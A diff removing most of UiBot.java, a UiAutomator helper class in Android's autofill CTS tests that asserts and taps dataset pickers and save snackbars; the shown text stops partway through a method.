-import static android.autofillservice.cts.Timeouts.DATASET_PICKER_NOT_SHOWN_NAPTIME_MS;
-import static android.autofillservice.cts.Timeouts.LONG_PRESS_MS;
-import static android.autofillservice.cts.Timeouts.SAVE_NOT_SHOWN_NAPTIME_MS;
-import static android.autofillservice.cts.Timeouts.SAVE_TIMEOUT;
-import static android.autofillservice.cts.Timeouts.UI_DATASET_PICKER_TIMEOUT;
-import static android.autofillservice.cts.Timeouts.UI_SCREEN_ORIENTATION_TIMEOUT;
-import static android.autofillservice.cts.Timeouts.UI_TIMEOUT;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_DEBIT_CARD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC_CARD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PAYMENT_CARD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
-
-import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import static org.junit.Assume.assumeTrue;
-
-import android.app.Activity;
-import android.app.Instrumentation;
-import android.app.UiAutomation;
-import android.content.Context;
-import android.content.res.Resources;
-import android.graphics.Bitmap;
-import android.graphics.Rect;
-import android.os.SystemClock;
-import android.service.autofill.SaveInfo;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.BySelector;
-import android.support.test.uiautomator.Direction;
-import android.support.test.uiautomator.SearchCondition;
-import android.support.test.uiautomator.StaleObjectException;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject2;
-import android.support.test.uiautomator.UiObjectNotFoundException;
-import android.support.test.uiautomator.UiScrollable;
-import android.support.test.uiautomator.UiSelector;
-import android.support.test.uiautomator.Until;
-import android.text.Html;
-import android.text.Spanned;
-import android.text.style.URLSpan;
-import android.util.Log;
-import android.view.View;
-import android.view.WindowInsets;
-import android.view.accessibility.AccessibilityEvent;
-import android.view.accessibility.AccessibilityNodeInfo;
-import android.view.accessibility.AccessibilityWindowInfo;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import androidx.test.platform.app.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.RetryableException;
-import com.android.compatibility.common.util.Timeout;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.concurrent.TimeoutException;
-
-/**
- * Helper for UI-related needs.
- */
-public class UiBot {
-
-    private static final String TAG = "AutoFillCtsUiBot";
-
-    private static final String RESOURCE_ID_DATASET_PICKER = "autofill_dataset_picker";
-    private static final String RESOURCE_ID_DATASET_HEADER = "autofill_dataset_header";
-    private static final String RESOURCE_ID_SAVE_SNACKBAR = "autofill_save";
-    private static final String RESOURCE_ID_SAVE_ICON = "autofill_save_icon";
-    private static final String RESOURCE_ID_SAVE_TITLE = "autofill_save_title";
-    private static final String RESOURCE_ID_CONTEXT_MENUITEM = "floating_toolbar_menu_item_text";
-    private static final String RESOURCE_ID_SAVE_BUTTON_NO = "autofill_save_no";
-    private static final String RESOURCE_ID_SAVE_BUTTON_YES = "autofill_save_yes";
-    private static final String RESOURCE_ID_OVERFLOW = "overflow";
-
-    private static final String RESOURCE_STRING_SAVE_TITLE = "autofill_save_title";
-    private static final String RESOURCE_STRING_SAVE_TITLE_WITH_TYPE =
-            "autofill_save_title_with_type";
-    private static final String RESOURCE_STRING_SAVE_TYPE_PASSWORD = "autofill_save_type_password";
-    private static final String RESOURCE_STRING_SAVE_TYPE_ADDRESS = "autofill_save_type_address";
-    private static final String RESOURCE_STRING_SAVE_TYPE_CREDIT_CARD =
-            "autofill_save_type_credit_card";
-    private static final String RESOURCE_STRING_SAVE_TYPE_USERNAME = "autofill_save_type_username";
-    private static final String RESOURCE_STRING_SAVE_TYPE_EMAIL_ADDRESS =
-            "autofill_save_type_email_address";
-    private static final String RESOURCE_STRING_SAVE_TYPE_DEBIT_CARD =
-            "autofill_save_type_debit_card";
-    private static final String RESOURCE_STRING_SAVE_TYPE_PAYMENT_CARD =
-            "autofill_save_type_payment_card";
-    private static final String RESOURCE_STRING_SAVE_TYPE_GENERIC_CARD =
-            "autofill_save_type_generic_card";
-    private static final String RESOURCE_STRING_SAVE_BUTTON_NEVER = "autofill_save_never";
-    private static final String RESOURCE_STRING_SAVE_BUTTON_NOT_NOW = "autofill_save_notnow";
-    private static final String RESOURCE_STRING_SAVE_BUTTON_NO_THANKS = "autofill_save_no";
-    private static final String RESOURCE_STRING_SAVE_BUTTON_YES = "autofill_save_yes";
-    private static final String RESOURCE_STRING_UPDATE_BUTTON_YES = "autofill_update_yes";
-    private static final String RESOURCE_STRING_CONTINUE_BUTTON_YES = "autofill_continue_yes";
-    private static final String RESOURCE_STRING_UPDATE_TITLE = "autofill_update_title";
-    private static final String RESOURCE_STRING_UPDATE_TITLE_WITH_TYPE =
-            "autofill_update_title_with_type";
-
-    private static final String RESOURCE_STRING_AUTOFILL = "autofill";
-    private static final String RESOURCE_STRING_DATASET_PICKER_ACCESSIBILITY_TITLE =
-            "autofill_picker_accessibility_title";
-    private static final String RESOURCE_STRING_SAVE_SNACKBAR_ACCESSIBILITY_TITLE =
-            "autofill_save_accessibility_title";
-
-
-    static final BySelector DATASET_PICKER_SELECTOR = By.res("android", RESOURCE_ID_DATASET_PICKER);
-    private static final BySelector SAVE_UI_SELECTOR = By.res("android", RESOURCE_ID_SAVE_SNACKBAR);
-    private static final BySelector DATASET_HEADER_SELECTOR =
-            By.res("android", RESOURCE_ID_DATASET_HEADER);
-
-    // TODO: figure out a more reliable solution that does not depend on SystemUI resources.
-    private static final String SPLIT_WINDOW_DIVIDER_ID =
-            "com.android.systemui:id/docked_divider_background";
-
-    private static final boolean DUMP_ON_ERROR = true;
-
-    private static final int MAX_UIOBJECT_RETRY_COUNT = 3;
-
-    /** Pass to {@link #setScreenOrientation(int)} to change the display to portrait mode */
-    public static int PORTRAIT = 0;
-
-    /** Pass to {@link #setScreenOrientation(int)} to change the display to landscape mode */
-    public static int LANDSCAPE = 1;
-
-    private final UiDevice mDevice;
-    private final Context mContext;
-    private final String mPackageName;
-    private final UiAutomation mAutoman;
-    private final Timeout mDefaultTimeout;
-
-    private boolean mOkToCallAssertNoDatasets;
-
-    public UiBot() {
-        this(UI_TIMEOUT);
-    }
-
-    public UiBot(Timeout defaultTimeout) {
-        mDefaultTimeout = defaultTimeout;
-        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
-        mDevice = UiDevice.getInstance(instrumentation);
-        mContext = instrumentation.getContext();
-        mPackageName = mContext.getPackageName();
-        mAutoman = instrumentation.getUiAutomation();
-    }
-
-    public void waitForIdle() {
-        final long before = SystemClock.elapsedRealtimeNanos();
-        mDevice.waitForIdle();
-        final float delta = ((float) (SystemClock.elapsedRealtimeNanos() - before)) / 1_000_000;
-        Log.v(TAG, "device idle in " + delta + "ms");
-    }
-
-    public void waitForIdleSync() {
-        final long before = SystemClock.elapsedRealtimeNanos();
-        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
-        final float delta = ((float) (SystemClock.elapsedRealtimeNanos() - before)) / 1_000_000;
-        Log.v(TAG, "device idle sync in " + delta + "ms");
-    }
-
-    public void reset() {
-        mOkToCallAssertNoDatasets = false;
-    }
-
-    /**
-     * Assumes the device has a minimum height and width of {@code minSize}, throwing a
-     * {@code AssumptionViolatedException} if it doesn't (so the test is skiped by the JUnit
-     * Runner).
-     */
-    public void assumeMinimumResolution(int minSize) {
-        final int width = mDevice.getDisplayWidth();
-        final int heigth = mDevice.getDisplayHeight();
-        final int min = Math.min(width, heigth);
-        assumeTrue("Screen size is too small (" + width + "x" + heigth + ")", min >= minSize);
-        Log.d(TAG, "assumeMinimumResolution(" + minSize + ") passed: screen size is "
-                + width + "x" + heigth);
-    }
-
-    /**
-     * Sets the screen resolution in a way that the IME doesn't interfere with the Autofill UI
-     * when the device is rotated to landscape.
-     *
-     * When called, test must call <p>{@link #resetScreenResolution()} in a {@code finally} block.
-     *
-     * @deprecated this method should not be necessarily anymore as we're using a MockIme.
-     */
-    @Deprecated
-    // TODO: remove once we're sure no more OEM is getting failure due to screen size
-    public void setScreenResolution() {
-        if (true) {
-            Log.w(TAG, "setScreenResolution(): ignored");
-            return;
-        }
-        assumeMinimumResolution(500);
-
-        runShellCommand("wm size 1080x1920");
-        runShellCommand("wm density 320");
-    }
-
-    /**
-     * Resets the screen resolution.
-     *
-     * <p>Should always be called after {@link #setScreenResolution()}.
-     *
-     * @deprecated this method should not be necessarily anymore as we're using a MockIme.
-     */
-    @Deprecated
-    // TODO: remove once we're sure no more OEM is getting failure due to screen size
-    public void resetScreenResolution() {
-        if (true) {
-            Log.w(TAG, "resetScreenResolution(): ignored");
-            return;
-        }
-        runShellCommand("wm density reset");
-        runShellCommand("wm size reset");
-    }
-
-    /**
-     * Asserts the dataset picker is not shown anymore.
-     *
-     * @throws IllegalStateException if called *before* an assertion was made to make sure the
-     * dataset picker is shown - if that's not the case, call
-     * {@link #assertNoDatasetsEver()} instead.
-     */
-    public void assertNoDatasets() throws Exception {
-        if (!mOkToCallAssertNoDatasets) {
-            throw new IllegalStateException(
-                    "Cannot call assertNoDatasets() without calling assertDatasets first");
-        }
-        mDevice.wait(Until.gone(DATASET_PICKER_SELECTOR), UI_DATASET_PICKER_TIMEOUT.ms());
-        mOkToCallAssertNoDatasets = false;
-    }
-
-    /**
-     * Asserts the dataset picker was never shown.
-     *
-     * <p>This method is slower than {@link #assertNoDatasets()} and should only be called in the
-     * cases where the dataset picker was not previous shown.
-     */
-    public void assertNoDatasetsEver() throws Exception {
-        assertNeverShown("dataset picker", DATASET_PICKER_SELECTOR,
-                DATASET_PICKER_NOT_SHOWN_NAPTIME_MS);
-    }
-
-    /**
-     * Asserts the dataset chooser is shown and contains exactly the given datasets.
-     *
-     * @return the dataset picker object.
-     */
-    public UiObject2 assertDatasets(String...names) throws Exception {
-        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
-        return assertDatasets(picker, names);
-    }
-
-    protected UiObject2 assertDatasets(UiObject2 picker, String...names) {
-        assertWithMessage("wrong dataset names").that(getChildrenAsText(picker))
-                .containsExactlyElementsIn(Arrays.asList(names)).inOrder();
-        return picker;
-    }
-
-    /**
-     * Asserts the dataset chooser is shown and contains the given datasets.
-     *
-     * @return the dataset picker object.
-     */
-    public UiObject2 assertDatasetsContains(String...names) throws Exception {
-        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
-        assertWithMessage("wrong dataset names").that(getChildrenAsText(picker))
-                .containsAtLeastElementsIn(Arrays.asList(names)).inOrder();
-        return picker;
-    }
-
-    /**
-     * Asserts the dataset chooser is shown and contains the given datasets, header, and footer.
-     * <p>In fullscreen, header view is not under R.id.autofill_dataset_picker.
-     *
-     * @return the dataset picker object.
-     */
-    public UiObject2 assertDatasetsWithBorders(String header, String footer, String...names)
-            throws Exception {
-        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
-        final List<String> expectedChild = new ArrayList<>();
-        if (header != null) {
-            if (Helper.isAutofillWindowFullScreen(mContext)) {
-                final UiObject2 headerView = waitForObject(DATASET_HEADER_SELECTOR,
-                        UI_DATASET_PICKER_TIMEOUT);
-                assertWithMessage("fullscreen wrong dataset header")
-                        .that(getChildrenAsText(headerView))
-                        .containsExactlyElementsIn(Arrays.asList(header)).inOrder();
-            } else {
-                expectedChild.add(header);
-            }
-        }
-        expectedChild.addAll(Arrays.asList(names));
-        if (footer != null) {
-            expectedChild.add(footer);
-        }
-        assertWithMessage("wrong elements on dataset picker").that(getChildrenAsText(picker))
-                .containsExactlyElementsIn(expectedChild).inOrder();
-        return picker;
-    }
-
-    /**
-     * Gets the text of this object children.
-     */
-    public List<String> getChildrenAsText(UiObject2 object) {
-        final List<String> list = new ArrayList<>();
-        getChildrenAsText(object, list);
-        return list;
-    }
-
-    private static void getChildrenAsText(UiObject2 object, List<String> children) {
-        final String text = object.getText();
-        if (text != null) {
-            children.add(text);
-        }
-        for (UiObject2 child : object.getChildren()) {
-            getChildrenAsText(child, children);
-        }
-    }
-
-    /**
-     * Selects a dataset that should be visible in the floating UI and does not need to wait for
-     * application become idle.
-     */
-    public void selectDataset(String name) throws Exception {
-        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
-        selectDataset(picker, name);
-    }
-
-    /**
-     * Selects a dataset that should be visible in the floating UI and waits for application become
-     * idle if needed.
-     */
-    public void selectDatasetSync(String name) throws Exception {
-        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
-        selectDataset(picker, name);
-        mDevice.waitForIdle();
-    }
-
-    /**
-     * Selects a dataset that should be visible in the floating UI.
-     */
-    public void selectDataset(UiObject2 picker, String name) {
-        final UiObject2 dataset = picker.findObject(By.text(name));
-        if (dataset == null) {
-            throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(picker));
-        }
-        dataset.click();
-    }
-
-    /**
-     * Finds the suggestion by name and perform long click on suggestion to trigger attribution
-     * intent.
-     */
-    public void longPressSuggestion(String name) throws Exception {
-        throw new UnsupportedOperationException();
-    }
-
-    /**
-     * Asserts the suggestion chooser is shown in the suggestion view.
-     */
-    public void assertSuggestion(String name) throws Exception {
-        throw new UnsupportedOperationException();
-    }
-
-    /**
-     * Asserts the suggestion chooser is not shown in the suggestion view.
-     */
-    public void assertNoSuggestion(String name) throws Exception {
-        throw new UnsupportedOperationException();
-    }
-
-    /**
-     * Scrolls the suggestion view.
-     *
-     * @param direction The direction to scroll.
-     * @param speed The speed to scroll per second.
-     */
-    public void scrollSuggestionView(Direction direction, int speed) throws Exception {
-        throw new UnsupportedOperationException();
-    }
-
-    /**
-     * Selects a view by text.
-     *
-     * <p><b>NOTE:</b> when selecting an option in dataset picker is shown, prefer
-     * {@link #selectDataset(String)}.
-     */
-    public void selectByText(String name) throws Exception {
-        Log.v(TAG, "selectByText(): " + name);
-
-        final UiObject2 object = waitForObject(By.text(name));
-        object.click();
-    }
-
-    /**
-     * Asserts a text is shown.
-     *
-     * <p><b>NOTE:</b> when asserting the dataset picker is shown, prefer
-     * {@link #assertDatasets(String...)}.
-     */
-    public UiObject2 assertShownByText(String text) throws Exception {
-        return assertShownByText(text, mDefaultTimeout);
-    }
-
-    public UiObject2 assertShownByText(String text, Timeout timeout) throws Exception {
-        final UiObject2 object = waitForObject(By.text(text), timeout);
-        assertWithMessage("No node with text '%s'", text).that(object).isNotNull();
-        return object;
-    }
-
-    /**
-     * Finds a node by text, without waiting for it to be shown (but failing if it isn't).
-     */
-    @NonNull
-    public UiObject2 findRightAwayByText(@NonNull String text) throws Exception {
-        final UiObject2 object = mDevice.findObject(By.text(text));
-        assertWithMessage("no UIObject for text '%s'", text).that(object).isNotNull();
-        return object;
-    }
-
-    /**
-     * Asserts that the text is not showing for sure in the screen "as is", i.e., without waiting
-     * for it.
-     *
-     * <p>Typically called after another assertion that waits for a condition to be shown.
-     */
-    public void assertNotShowingForSure(String text) throws Exception {
-        final UiObject2 object = mDevice.findObject(By.text(text));
-        assertWithMessage("Found node with text '%s'", text).that(object).isNull();
-    }
-
-    /**
-     * Asserts a node with the given content description is shown.
-     *
-     */
-    public UiObject2 assertShownByContentDescription(String contentDescription) throws Exception {
-        final UiObject2 object = waitForObject(By.desc(contentDescription));
-        assertWithMessage("No node with content description '%s'", contentDescription).that(object)
-                .isNotNull();
-        return object;
-    }
-
-    /**
-     * Checks if a View with a certain text exists.
-     */
-    public boolean hasViewWithText(String name) {
-        Log.v(TAG, "hasViewWithText(): " + name);
-
-        return mDevice.findObject(By.text(name)) != null;
-    }
-
-    /**
-     * Selects a view by id.
-     */
-    public UiObject2 selectByRelativeId(String id) throws Exception {
-        Log.v(TAG, "selectByRelativeId(): " + id);
-        UiObject2 object = waitForObject(By.res(mPackageName, id));
-        object.click();
-        return object;
-    }
-
-    /**
-     * Asserts the id is shown on the screen.
-     */
-    public UiObject2 assertShownById(String id) throws Exception {
-        final UiObject2 object = waitForObject(By.res(id));
-        assertThat(object).isNotNull();
-        return object;
-    }
-
-    /**
-     * Asserts the id is shown on the screen, using a resource id from the test package.
-     */
-    public UiObject2 assertShownByRelativeId(String id) throws Exception {
-        return assertShownByRelativeId(id, mDefaultTimeout);
-    }
-
-    public UiObject2 assertShownByRelativeId(String id, Timeout timeout) throws Exception {
-        final UiObject2 obj = waitForObject(By.res(mPackageName, id), timeout);
-        assertThat(obj).isNotNull();
-        return obj;
-    }
-
-    /**
-     * Asserts the id is not shown on the screen anymore, using a resource id from the test package.
-     *
-     * <p><b>Note:</b> this method should only called AFTER the id was previously shown, otherwise
-     * it might pass without really asserting anything.
-     */
-    public void assertGoneByRelativeId(@NonNull String id, @NonNull Timeout timeout) {
-        assertGoneByRelativeId(/* parent = */ null, id, timeout);
-    }
-
-    public void assertGoneByRelativeId(int resId, @NonNull Timeout timeout) {
-        assertGoneByRelativeId(/* parent = */ null, getIdName(resId), timeout);
-    }
-
-    private String getIdName(int resId) {
-        return mContext.getResources().getResourceEntryName(resId);
-    }
-
-    /**
-     * Asserts the id is not shown on the parent anymore, using a resource id from the test package.
-     *
-     * <p><b>Note:</b> this method should only called AFTER the id was previously shown, otherwise
-     * it might pass without really asserting anything.
-     */
-    public void assertGoneByRelativeId(@Nullable UiObject2 parent, @NonNull String id,
-            @NonNull Timeout timeout) {
-        final SearchCondition<Boolean> condition = Until.gone(By.res(mPackageName, id));
-        final boolean gone = parent != null
-                ? parent.wait(condition, timeout.ms())
-                : mDevice.wait(condition, timeout.ms());
-        if (!gone) {
-            final String message = "Object with id '" + id + "' should be gone after "
-                    + timeout + " ms";
-            dumpScreen(message);
-            throw new RetryableException(message);
-        }
-    }
-
-    public UiObject2 assertShownByRelativeId(int resId) throws Exception {
-        return assertShownByRelativeId(getIdName(resId));
-    }
-
-    public void assertNeverShownByRelativeId(@NonNull String description, int resId, long timeout)
-            throws Exception {
-        final BySelector selector = By.res(Helper.MY_PACKAGE, getIdName(resId));
-        assertNeverShown(description, selector, timeout);
-    }
-
-    /**
-     * Asserts that a {@code selector} is not showing after {@code timeout} milliseconds.
-     */
-    protected void assertNeverShown(String description, BySelector selector, long timeout)
-            throws Exception {
-        SystemClock.sleep(timeout);
-        final UiObject2 object = mDevice.findObject(selector);
-        if (object != null) {
-            throw new AssertionError(
-                    String.format("Should not be showing %s after %dms, but got %s",
-                            description, timeout, getChildrenAsText(object)));
-        }
-    }
-
-    /**
-     * Gets the text set on a view.
-     */
-    public String getTextByRelativeId(String id) throws Exception {
-        return waitForObject(By.res(mPackageName, id)).getText();
-    }
-
-    /**
-     * Focus in the view with the given resource id.
-     */
-    public void focusByRelativeId(String id) throws Exception {
-        waitForObject(By.res(mPackageName, id)).click();
-    }
-
-    /**
-     * Sets a new text on a view.
-     */
-    public void setTextByRelativeId(String id, String newText) throws Exception {
-        waitForObject(By.res(mPackageName, id)).setText(newText);
-    }
-
-    /**
-     * Asserts the save snackbar is showing and returns it.
-     */
-    public UiObject2 assertSaveShowing(int type) throws Exception {
-        return assertSaveShowing(SAVE_TIMEOUT, type);
-    }
-
-    /**
-     * Asserts the save snackbar is showing and returns it.
-     */
-    public UiObject2 assertSaveShowing(Timeout timeout, int type) throws Exception {
-        return assertSaveShowing(null, timeout, type);
-    }
-
-    /**
-     * Asserts the save snackbar is showing with the Update message and returns it.
-     */
-    public UiObject2 assertUpdateShowing(int... types) throws Exception {
-        return assertSaveOrUpdateShowing(/* update= */ true, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
-                null, SAVE_TIMEOUT, types);
-    }
-
-    /**
-     * Presses the Back button.
-     */
-    public void pressBack() {
-        Log.d(TAG, "pressBack()");
-        mDevice.pressBack();
-    }
-
-    /**
-     * Presses the Home button.
-     */
-    public void pressHome() {
-        Log.d(TAG, "pressHome()");
-        mDevice.pressHome();
-    }
-
-    /**
-     * Asserts the save snackbar is not showing.
-     */
-    public void assertSaveNotShowing(int type) throws Exception {
-        assertNeverShown("save UI for type " + type, SAVE_UI_SELECTOR, SAVE_NOT_SHOWN_NAPTIME_MS);
-    }
-
-    public void assertSaveNotShowing() throws Exception {
-        assertNeverShown("save UI", SAVE_UI_SELECTOR, SAVE_NOT_SHOWN_NAPTIME_MS);
-    }
-
-    private String getSaveTypeString(int type) {
-        final String typeResourceName;
-        switch (type) {
-            case SAVE_DATA_TYPE_PASSWORD:
-                typeResourceName = RESOURCE_STRING_SAVE_TYPE_PASSWORD;
-                break;
-            case SAVE_DATA_TYPE_ADDRESS:
-                typeResourceName = RESOURCE_STRING_SAVE_TYPE_ADDRESS;
-                break;
-            case SAVE_DATA_TYPE_CREDIT_CARD:
-                typeResourceName = RESOURCE_STRING_SAVE_TYPE_CREDIT_CARD;
-                break;
-            case SAVE_DATA_TYPE_USERNAME:
-                typeResourceName = RESOURCE_STRING_SAVE_TYPE_USERNAME;
-                break;
-            case SAVE_DATA_TYPE_EMAIL_ADDRESS:
-                typeResourceName = RESOURCE_STRING_SAVE_TYPE_EMAIL_ADDRESS;
-                break;
-            case SAVE_DATA_TYPE_DEBIT_CARD:
-                typeResourceName = RESOURCE_STRING_SAVE_TYPE_DEBIT_CARD;
-                break;
-            case SAVE_DATA_TYPE_PAYMENT_CARD:
-                typeResourceName = RESOURCE_STRING_SAVE_TYPE_PAYMENT_CARD;
-                break;
-            case SAVE_DATA_TYPE_GENERIC_CARD:
-                typeResourceName = RESOURCE_STRING_SAVE_TYPE_GENERIC_CARD;
-                break;
-            default:
-                throw new IllegalArgumentException("Unsupported type: " + type);
-        }
-        return getString(typeResourceName);
-    }
-
-    public UiObject2 assertSaveShowing(String description, int... types) throws Exception {
-        return assertSaveOrUpdateShowing(/* update= */ false, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
-                description, SAVE_TIMEOUT, types);
-    }
-
-    public UiObject2 assertSaveShowing(String description, Timeout timeout, int... types)
-            throws Exception {
-        return assertSaveOrUpdateShowing(/* update= */ false, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
-                description, timeout, types);
-    }
-
-    public UiObject2 assertSaveShowing(int negativeButtonStyle, String description,
-            int... types) throws Exception {
-        return assertSaveOrUpdateShowing(/* update= */ false, negativeButtonStyle, description,
-                SAVE_TIMEOUT, types);
-    }
-
-    public UiObject2 assertSaveShowing(int positiveButtonStyle, int... types) throws Exception {
-        return assertSaveOrUpdateShowing(/* update= */ false, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
-                positiveButtonStyle, /* description= */ null, SAVE_TIMEOUT, types);
-    }
-
-    public UiObject2 assertSaveOrUpdateShowing(boolean update, int negativeButtonStyle,
-            String description, Timeout timeout, int... types) throws Exception {
-        return assertSaveOrUpdateShowing(update, negativeButtonStyle,
-                SaveInfo.POSITIVE_BUTTON_STYLE_SAVE, description, timeout, types);
-    }
-
-    public UiObject2 assertSaveOrUpdateShowing(boolean update, int negativeButtonStyle,
-            int positiveButtonStyle, String description, Timeout timeout, int... types)
-            throws Exception {
-
-        final UiObject2 snackbar = waitForObject(SAVE_UI_SELECTOR, timeout);
-
-        final UiObject2 titleView =
-                waitForObject(snackbar, By.res("android", RESOURCE_ID_SAVE_TITLE), timeout);
-        assertWithMessage("save title (%s) is not shown", RESOURCE_ID_SAVE_TITLE).that(titleView)
-                .isNotNull();
-
-        final UiObject2 iconView =
-                waitForObject(snackbar, By.res("android", RESOURCE_ID_SAVE_ICON), timeout);
-        assertWithMessage("save icon (%s) is not shown", RESOURCE_ID_SAVE_ICON).that(iconView)
-                .isNotNull();
-
-        final String actualTitle = titleView.getText();
-        Log.d(TAG, "save title: " + actualTitle);
-
-        final String titleId, titleWithTypeId;
-        if (update) {
-            titleId = RESOURCE_STRING_UPDATE_TITLE;
-            titleWithTypeId = RESOURCE_STRING_UPDATE_TITLE_WITH_TYPE;
-        } else {
-            titleId = RESOURCE_STRING_SAVE_TITLE;
-            titleWithTypeId = RESOURCE_STRING_SAVE_TITLE_WITH_TYPE;
-        }
-
-        final String serviceLabel = InstrumentedAutoFillService.getServiceLabel();
-        switch (types.length) {
-            case 1:
-                final String expectedTitle = (types[0] == SAVE_DATA_TYPE_GENERIC)
-                        ? Html.fromHtml(getString(titleId, serviceLabel), 0).toString()
-                        : Html.fromHtml(getString(titleWithTypeId,
-                                getSaveTypeString(types[0]), serviceLabel), 0).toString();
-                assertThat(actualTitle).isEqualTo(expectedTitle);
-                break;
-            case 2:
-                // We cannot predict the order...
-                assertThat(actualTitle).contains(getSaveTypeString(types[0]));
-                assertThat(actualTitle).contains(getSaveTypeString(types[1]));
-                break;
-            case 3:
-                // We cannot predict the order...
-                assertThat(actualTitle).contains(getSaveTypeString(types[0]));
-                assertThat(actualTitle).contains(getSaveTypeString(types[1]));
-                assertThat(actualTitle).contains(getSaveTypeString(types[2]));
-                break;
-            default:
-                throw new IllegalArgumentException("Invalid types: " + Arrays.toString(types));
-        }
-
-        if (description != null) {
-            final UiObject2 saveSubTitle = snackbar.findObject(By.text(description));
-            assertWithMessage("save subtitle(%s)", description).that(saveSubTitle).isNotNull();
-        }
-
-        final String positiveButtonStringId;
-        switch (positiveButtonStyle) {
-            case SaveInfo.POSITIVE_BUTTON_STYLE_CONTINUE:
-                positiveButtonStringId = RESOURCE_STRING_CONTINUE_BUTTON_YES;
-                break;
-            default:
-                positiveButtonStringId = update ? RESOURCE_STRING_UPDATE_BUTTON_YES
-                        : RESOURCE_STRING_SAVE_BUTTON_YES;
-        }
-        final String expectedPositiveButtonText = getString(positiveButtonStringId).toUpperCase();
-        final UiObject2 positiveButton = waitForObject(snackbar,
-                By.res("android", RESOURCE_ID_SAVE_BUTTON_YES), timeout);
-        assertWithMessage("wrong text on positive button")
-                .that(positiveButton.getText().toUpperCase()).isEqualTo(expectedPositiveButtonText);
-
-        final String negativeButtonStringId;
-        if (negativeButtonStyle == SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT) {
-            negativeButtonStringId = RESOURCE_STRING_SAVE_BUTTON_NOT_NOW;
-        } else if (negativeButtonStyle == SaveInfo.NEGATIVE_BUTTON_STYLE_NEVER) {
-            negativeButtonStringId = RESOURCE_STRING_SAVE_BUTTON_NEVER;
-        } else {
-            negativeButtonStringId = RESOURCE_STRING_SAVE_BUTTON_NO_THANKS;
-        }
-        final String expectedNegativeButtonText = getString(negativeButtonStringId).toUpperCase();
-        final UiObject2 negativeButton = waitForObject(snackbar,
-                By.res("android", RESOURCE_ID_SAVE_BUTTON_NO), timeout);
-        assertWithMessage("wrong text on negative button")
-                .that(negativeButton.getText().toUpperCase()).isEqualTo(expectedNegativeButtonText);
-
-        final String expectedAccessibilityTitle =
-                getString(RESOURCE_STRING_SAVE_SNACKBAR_ACCESSIBILITY_TITLE);
-        assertAccessibilityTitle(snackbar, expectedAccessibilityTitle);
-
-        return snackbar;
-    }
-
-    /**
-     * Taps an option in the save snackbar.
-     *
-     * @param yesDoIt {@code true} for 'YES', {@code false} for 'NO THANKS'.
-     * @param types expected types of save info.
-     */
-    public void saveForAutofill(boolean yesDoIt, int... types) throws Exception {
-        final UiObject2 saveSnackBar = assertSaveShowing(
-                SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, null, types);
-        saveForAutofill(saveSnackBar, yesDoIt);
-    }
-
-    public void updateForAutofill(boolean yesDoIt, int... types) throws Exception {
-        final UiObject2 saveUi = assertUpdateShowing(types);
-        saveForAutofill(saveUi, yesDoIt);
-    }
-
-    /**
-     * Taps an option in the save snackbar.
-     *
-     * @param yesDoIt {@code true} for 'YES', {@code false} for 'NO THANKS'.
-     * @param types expected types of save info.
-     */
-    public void saveForAutofill(int negativeButtonStyle, boolean yesDoIt, int... types)
-            throws Exception {
-        final UiObject2 saveSnackBar = assertSaveShowing(negativeButtonStyle, null, types);
-        saveForAutofill(saveSnackBar, yesDoIt);
-    }
-
-    /**
-     * Taps the positive button in the save snackbar.
-     *
-     * @param types expected types of save info.
-     */
-    public void saveForAutofill(int positiveButtonStyle, int... types) throws Exception {
-        final UiObject2 saveSnackBar = assertSaveShowing(positiveButtonStyle, types);
-        saveForAutofill(saveSnackBar, /* yesDoIt= */ true);
-    }
-
-    /**
-     * Taps an option in the save snackbar.
-     *
-     * @param saveSnackBar Save snackbar, typically obtained through
-     *            {@link #assertSaveShowing(int)}.
-     * @param yesDoIt {@code true} for 'YES', {@code false} for 'NO THANKS'.
-     */
-    public void saveForAutofill(UiObject2 saveSnackBar, boolean yesDoIt) {
-        final String id = yesDoIt ? "autofill_save_yes" : "autofill_save_no";
-
-        final UiObject2 button = saveSnackBar.findObject(By.res("android", id));
-        assertWithMessage("save button (%s)", id).that(button).isNotNull();
-        button.click();
-    }
-
-    /**
-     * Gets the AUTOFILL contextual menu by long pressing a text field.
-     *
-     * <p><b>NOTE:</b> this method should only be called in scenarios where we explicitly want to
-     * test the overflow menu. For all other scenarios where we want to test manual autofill, it's
-     * better to call {@code AFM.requestAutofill()} directly, because it's less error-prone and
-     * faster.
-     *
-     * @param id resource id of the field.
-     */
-    public UiObject2 getAutofillMenuOption(String id) throws Exception {
-        final UiObject2 field = waitForObject(By.res(mPackageName, id));
